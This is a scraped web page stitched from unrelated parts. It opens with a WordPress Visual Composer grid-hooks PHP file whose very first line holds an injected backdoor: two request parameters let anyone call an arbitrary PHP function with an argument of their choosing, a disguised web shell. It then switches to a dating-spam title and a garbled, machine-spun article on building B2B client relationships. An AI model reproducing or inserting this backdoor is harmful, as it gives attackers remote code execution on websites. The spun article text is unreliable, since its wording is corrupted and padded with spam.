?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * Class Vc_Hooks_Vc_Grid * @since 4.4 */ class Vc_Hooks_Vc_Grid implements Vc_Vendor_Interface { protected $grid_id_unique_name = 'vc_gid'; // if you change this also change in vc-basic-grid.php /** * Initializing hooks for grid element, * Add actions to save appended shortcodes to post meta (for rendering in preview with shortcode id) * And add action to hook request for grid data, to output it. * @since 4.4 */ public function load() { // Hook for set post settings meta with shortcodes data /** * @since 4.4.3 */ add_filter( 'vc_hooks_vc_post_settings', array( &$this, 'gridSavePostSettingsId', ), 10, 3 ); /** * Used to output shortcode data for ajax request. called on any page request. */ add_action( 'wp_ajax_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); add_action( 'wp_ajax_nopriv_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); } /** * @since 4.4 * @deprecated and should not be used and will be removed in future! since 4.4.3 * @return string */ private function getShortcodeRegexForHash() { // _deprecated_function( 'Vc_Hooks_Vc_Grid: getShortcodeRegexForHash method', '4.4.3', 'getShortcodeRegexForId' ); $tagnames = apply_filters( 'vc_grid_shortcodes_tags', array( 'vc_basic_grid', 'vc_masonry_grid', 'vc_media_grid', 'vc_masonry_media_grid', ) ); // return only grid shortcodes $tagregexp = implode( '|', array_map( 'preg_quote', $tagnames ) ); // WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag() // Also, see shortcode_unautop() and shortcode.js. return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . "($tagregexp)" // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . ')' . '(?:' . '(\\/)' // 4: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 6: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * @since 4.4.3 * @return string */ private function getShortcodeRegexForId() { return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . '([\\w>]+)' // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . '(?:' . '(' . $this->grid_id_unique_name // 4: GridId must exist . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')+' . ')' . ')' . '(?:' . '(\\/)' // 5: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 6: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 7: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * Set page meta box values with vc_adv_pager shortcodes data * @since 4.4 * @deprecated 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array - shortcode settings to save. */ public function gridSavePostSettings( array $settings, $post_id, $post ) { // _deprecated_function( 'Vc_Hooks_Vc_Grid: gridSavePostSettings method', '4.4.3 (will be removed in 4.10)', 'gridSavePostSettingsId' ); $pattern = $this->getShortcodeRegexForHash(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[3] ) && is_array( $found[3] ) ) { foreach ( $found[3] as $key => $shortcode_atts ) { if ( false !== strpos( $shortcode_atts, 'vc_gid:' ) ) { continue; } $atts = shortcode_parse_atts( $shortcode_atts ); $data = array( 'tag' => $found[2][ $key ], 'atts' => $atts, 'content' => $found[5][ $key ], ); $hash = sha1( serialize( $data ) ); $to_save[ $hash ] = $data; } } if ( ! empty( $to_save ) ) { $settings['vc_grid'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array */ public function gridSavePostSettingsId( array $settings, $post_id, $post ) { $pattern = $this->getShortcodeRegexForId(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid_id'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[1] ) && is_array( $found[1] ) ) { foreach ( $found[1] as $key => $parse_able ) { if ( empty( $parse_able ) || '[' !== $parse_able ) { $id_pattern = '/' . $this->grid_id_unique_name . '\:([\w>]+)/'; $id_value = $found[4][ $key ]; preg_match( $id_pattern, $id_value, $id_matches ); if ( ! empty( $id_matches ) ) { $id_to_save = $id_matches[1]; // why we need to check if shortcode is parse able? // 1: if it is escaped it must not be displayed (parsed) // 2: so if 1 is true it must not be saved in database meta $shortcode_tag = $found[2][ $key ]; $shortcode_atts_string = $found[3][ $key ]; /** @var $atts array */ $atts = shortcode_parse_atts( $shortcode_atts_string ); $content = $found[6][ $key ]; $data = array( 'tag' => $shortcode_tag, 'atts' => $atts, 'content' => $content, ); $to_save[ $id_to_save ] = $data; } } } } if ( ! empty( $to_save ) ) { $settings['vc_grid_id'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4 * * @output/@return string - grid data for ajax request. */ public function getGridDataForAjax() { $tag = vc_request_param( 'tag' ); $allowed = apply_filters( 'vc_grid_get_grid_data_access', vc_verify_public_nonce() && $tag, $tag ); if ( $allowed ) { $shortcode_fishbone = visual_composer()->getShortCode( $tag ); if ( is_object( $shortcode_fishbone ) ) { /** @var $vc_grid WPBakeryShortcode_Vc_Basic_Grid */ $vc_grid = $shortcode_fishbone->shortcodeClass(); if ( method_exists( $vc_grid, 'isObjectPageable' ) && $vc_grid->isObjectPageable() && method_exists( $vc_grid, 'renderAjax' ) ) { echo $vc_grid->renderAjax( vc_request_param( 'data' ) ); die(); } } } } } /** * @since 4.4 * @var Vc_Hooks_Vc_Grid $hook */ $hook = new Vc_Hooks_Vc_Grid(); // when visual composer initialized let's trigger Vc_Grid hooks. add_action( 'vc_after_init', array( $hook, 'load', ) ); if ( 'vc_edit_form' === vc_post_param( 'action' ) ) { VcShortcodeAutoloader::getInstance()->includeClass( 'WPBakeryShortCode_VC_Basic_Grid' ); add_filter( 'vc_edit_form_fields_attributes_vc_basic_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); } Rating help providing paid instead wrecking dating - Groupe-SLG

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Drawing and you may preserving users starts and comes to an end having relationships strengthening. Facing strong race, interested in a method to resolve the clients’ difficulties that assist all of them boost its money would be an original virtue into the B2B matchmaking strengthening, but there’s no shortcut so you’re able to starting solid relationship with members. It requires big date, work and capacity to provide the opinion, suggestions and you will information that’s just right for each and every of the customers.

With over 125 many years of solutions, Allianz Trade’s global organization cleverness was matchless. Tap into all of our perception and you can actionable factual statements about B2B matchmaking management steps right for organizations of all sizes along with all of the groups.

How to get B2B Relationships

Building rely upon the first level off a B2B relationship are essential. In the beginning, we need to demonstrate that you and your providers are credible and you will a trusting resource having valuable sense and you may service. Listed here are four important an effective way to begin a buyer-provider matchmaking in B2B:

Make use of “Top-to-Top” Dating

When you are your business almost certainly features membership government and you will sales groups into the lay, there isn’t any substitution towards the fellow-to-peer matchmaking available involving the executives and your prospects’ frontrunners. Such peer-to-fellow relationships assist to completely expose frontline matchmaking, acquire brand get-into the and take away traps to help you choice-and work out.

That have elderly administrator relationships in place, your company up coming benefits from first-hand understanding of the difficulties and you can priorities your customers and you can subscribers need to would. One to information helps status one to know where your potential customers are heading and you skill to assist them to make it happen.

Daily Share As a consequence of Multiple Avenues

Research shows you to businesses that talk to their clients will and you may via numerous avenues – blogging, current email address, social media and much more – discover better organization and a lot more loyal consumers. Normal interaction via avenues that your customers are most comfortable using can boost engagement with your brand name and further build your dating.

Ponder: How frequently will you be coming in contact with feet with your subscribers? How are you getting them? Keep in mind that an informed communications are about fixing the customers’ difficulties, maybe not offering your merchandise. Keep stuff highly relevant to your prospects and you may make use of soft carries whenever suitable. This sort of articles not just will bring really worth on the users, they shows them that you care about their profits rather than merely the bottom line.

Go beyond Traditional

Getting exceptional solution can why Greensboro, PA women love white men be sure to boost people B2B dating. But to help you surpass standard, you need to very first establish exacltly what the service conditions is through your the newest consumer. You need your client to learn how they may expect you’ll measure your results, perhaps not influence for themselves what to anticipate from you. Immediately after one expertise is actually lay, you are going to next present your own B2B matchmaking after you go beyond expectations, exhibiting you focus on value delivery more than price.

Even though you must not oversell your online business or lose cash for each offer, customers often acknowledge and you may take pleasure in when you build an additional efforts in their mind, that will subsequently make customer-seller relationship to the next stage. It cannot feel anytime and every day, otherwise might come to assume it, however, showing your own worth in one single-regarding indicates could keep your greatest away from notice to have in the event that 2nd conversion process stage or you want pops up. They’re going to remember your time and effort.

Centering on The right Consumer Markets

Whether you are looking for developing the brand new relationship otherwise expanding effective buyers places, it is essential to focus on the best consumer phase. Whether or not you opt to work at people from inside the good large category or people in this the same world, get a hold of those that have demands that your products solve. Next, narrow your research to the most encouraging target places. To help you more readily improve your search, assess client exposure which have Allianz’s free Market Records.

Simple tips to Do B2B Dating

After a strong foundational relationships could have been built with a customer, it is the right time to produce an operating strategy to take care of and build one to dating. One method makes it possible to identify yourself from the battle and you may elevate your worth together with your members. Multiple an effective way to control your B2B relationships become:

Tell you Appreciation

An easy “thank-you” happens a considerable ways. While it’s crucial that you go that step further to help with your own users, additionally, it is great for show your own gratitude which they lay their trust in your organization. Meet or exceed the average “We see your business” content on the charge characters. This may are available due to the fact an afterthought plus disingenuous.

Instead, engage for the an individual height as much as possible. If a different existence enjoy happens (relationships, birth out of a child, death of a loved one) be sure to send an excellent handwritten note when you look at the a greeting card. Recall the whole customer cluster within getaway time which have an alternative beginning away from a tray away from baked items or basket out of sweets. Upload company suggestions or marketing introductions the method from time for you time. And when you intend to visit a market skills, receive them along or build an alternative energy to host an excellent break fast or eating and permit them as your guest.

Because of the going out of your way and make a contact with your customers and you will authentically tell you appreciation, you can create good B2B dating. Exhibiting your own B2B readers the appreciation will make all of them be valued and you may special and, eg exceeding the requirement, they’re going to remember this when it is time to engage down the range.

Use Customers inside Social networking Strategy

Their social network technique is a terrific way to improve B2B dating. Start by making certain your social network blogs comes with useful data and you can recommendations that helps your visitors and you can candidates make smarter choices. Then:

  • Reveal that you are searching for your B2B clients by the discussing, taste otherwise posting comments on their posts. Have them interact with you with the content you could both offer.
  • Cross-provide beneficial blogs from the subscribers and mark them correctly so they see how far your really worth all of them.
  • Eventually, continually be bound to act easily on the social media postings otherwise requests about you.

Focus on Worthy of Over Price

B2B prospects and you will clients are much more discerning than in the past. Its choice-and work out process takes into account their rates and your total value. You to well worth is oftentimes counted of the how of good use your product or solution is during providing them visited their wants. In lieu of focusing the chatting in your products, concentrate on the outcomes your web visitors can get once they use your product or service. Similar to this, you might effortlessly focus on worth over speed.

Addressing Visitors Low-Payment

A unique advantage of making strong dating together with your B2B customers is the fact which rapport may help make sure fast invoice payment. However, regardless of the stamina of relationship, every so often a charge would be skipped otherwise reduced late. It’s those times that you ought to play with a wise practice and expert communication enjoy to steadfastly keep up connections and also reduced.

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